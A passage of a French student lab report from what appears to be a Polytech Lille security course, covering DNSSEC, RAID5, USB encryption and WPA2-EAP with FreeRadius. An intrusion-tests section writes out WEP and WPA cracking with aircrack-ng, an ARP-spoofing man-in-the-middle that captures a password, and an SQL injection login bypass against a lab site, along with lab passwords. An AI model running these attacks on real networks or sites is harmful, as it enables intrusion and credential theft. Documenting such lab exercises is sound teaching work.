  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
